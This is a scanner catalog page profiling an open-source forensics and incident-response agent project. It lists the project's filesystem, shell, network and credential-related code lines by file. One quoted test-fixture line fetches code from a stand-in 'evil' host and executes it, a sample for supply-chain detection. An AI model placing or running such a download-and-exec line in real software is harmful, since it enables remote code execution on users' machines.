MCP Observatory
2m ago Tracked 59,469 Last 2m ago 24h 2,466
github Python analyzed a17e90b

Juwon1405/agentic-dart

github

Agentic-DART — autonomous detection & response agent. Architecture-first, not prompt-first. Starts as agentic DFIR; designed to expand toward agentic SOC and beyond.

maintainer
Juwon1405
licence
MIT
first seen
2026-06-04
last seen
2026-06-16
releases · 30d
0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 0 tools
transport stdio counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit a17e90b · analyzer v33 · 4d ago

skills & prompt files 2

danger signals3

code evidence vv1.2.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 91

filesystem 52

  • fs Juwon1405-agentic-dfir-a17e90b/analyze.py :41 import shutil
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/__init__.py :28 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :19 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/live.py :32 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_audit/src/dfir_audit/__init__.py :25 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_audit/src/dfir_audit/cli.py :19 with open(path, encoding="utf-8") as f:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_corr/src/dfir_corr/__init__.py :33 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/dfir_corr/tests/test_dfir_corr.py :11 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/__init__.py :44 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v04_expansion.py :77 with p.open(encoding="utf-8", errors="replace") as f:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v05_supply_chain.py :531 with p.open(encoding="utf-8", errors="replace") as f:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v06_macos_linux.py :29 from pathlib import Path
show 28 more
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v07_sigma.py :30 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/_common.py :41 import shutil
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/amcacheparser.py :102 with csv_file.open("r", encoding="utf-8", errors="replace") as fh:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/evtxecmd.py :90 with out_csv.open("r", encoding="utf-8", errors="replace") as fh:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/mftecmd.py :88 with out_csv.open("r", encoding="utf-8", errors="replace") as fh:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/pecmd.py :82 with out_csv.open("r", encoding="utf-8", errors="replace") as fh:
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/plaso.py :26 from pathlib import Path
  • fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/recmd.py :98 with out_csv.open("r", encoding="utf-8", errors="replace") as fh:
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/check_sift_tools.py :30 import shutil
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/_history.py :22 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/_ledger.py :20 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/demo.py :36 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/download.py :27 import shutil
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :54 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/score.py :48 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :43 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/validate_ground_truth.py :24 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/healthcheck.py :25 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/regenerate_doc_images.py :10 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/regenerate_hero.py :31 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/_pending/test_extended_mcp.py :9 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_agent_self_correction.py :6 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_audit_chain.py :6 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_concurrency_and_edge_cases.py :28 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_docs_consistency.py :28 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_download.py :8 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_eval_layout.py :10 from pathlib import Path
  • fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_evtxecmd_oom.py :11 from pathlib import Path

12 more not shown — this panel samples each group; the count above is the real total.

shell / exec 9

  • shell Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :17 import subprocess
  • shell Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/_common.py :42 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :51 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :41 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/healthcheck.py :23 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/_pending/test_extended_mcp.py :7 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_concurrency_and_edge_cases.py :24 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_eval_layout.py :8 import subprocess
  • shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_live_mcp.py :18 import subprocess

network 5

  • net Juwon1405-agentic-dfir-a17e90b/analyze.py :299 import socket
  • net Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :220 import requests
  • net (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/download.py :29 import urllib.error
  • net (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_docs_consistency.py :29 from urllib.parse import unquote
  • net (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_v05_supply_chain.py :73 sus.write_text("import urllib.request; exec(urllib.request.urlopen('http://evil/payload').read())",

secrets 5

  • secrets Juwon1405-agentic-dfir-a17e90b/analyze.py :297 import getpass
  • secrets Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :378 have_api = bool(os.environ.get("ANTHROPIC_API_KEY"))
  • secrets Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/live.py :660 _have_creds = bool(os.environ.get("ANTHROPIC_API_KEY"))
  • secrets (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :427 if not args.dry_run and not os.environ.get("ANTHROPIC_API_KEY"):
  • secrets (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :271 if not args.dry_run and not os.environ.get("ANTHROPIC_API_KEY"):

database 3

  • db Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/__init__.py :1059 import sqlite3
  • db Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v06_macos_linux.py :26 import sqlite3
  • db (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_v06_macos_linux.py :9 import sqlite3

declared dependencies 5

  • mcp@>=1.0.0,<2
  • dfir-audit@*
  • dfir-mcp@*
  • anthropic@>=0.40.0
  • requests@>=2.25.0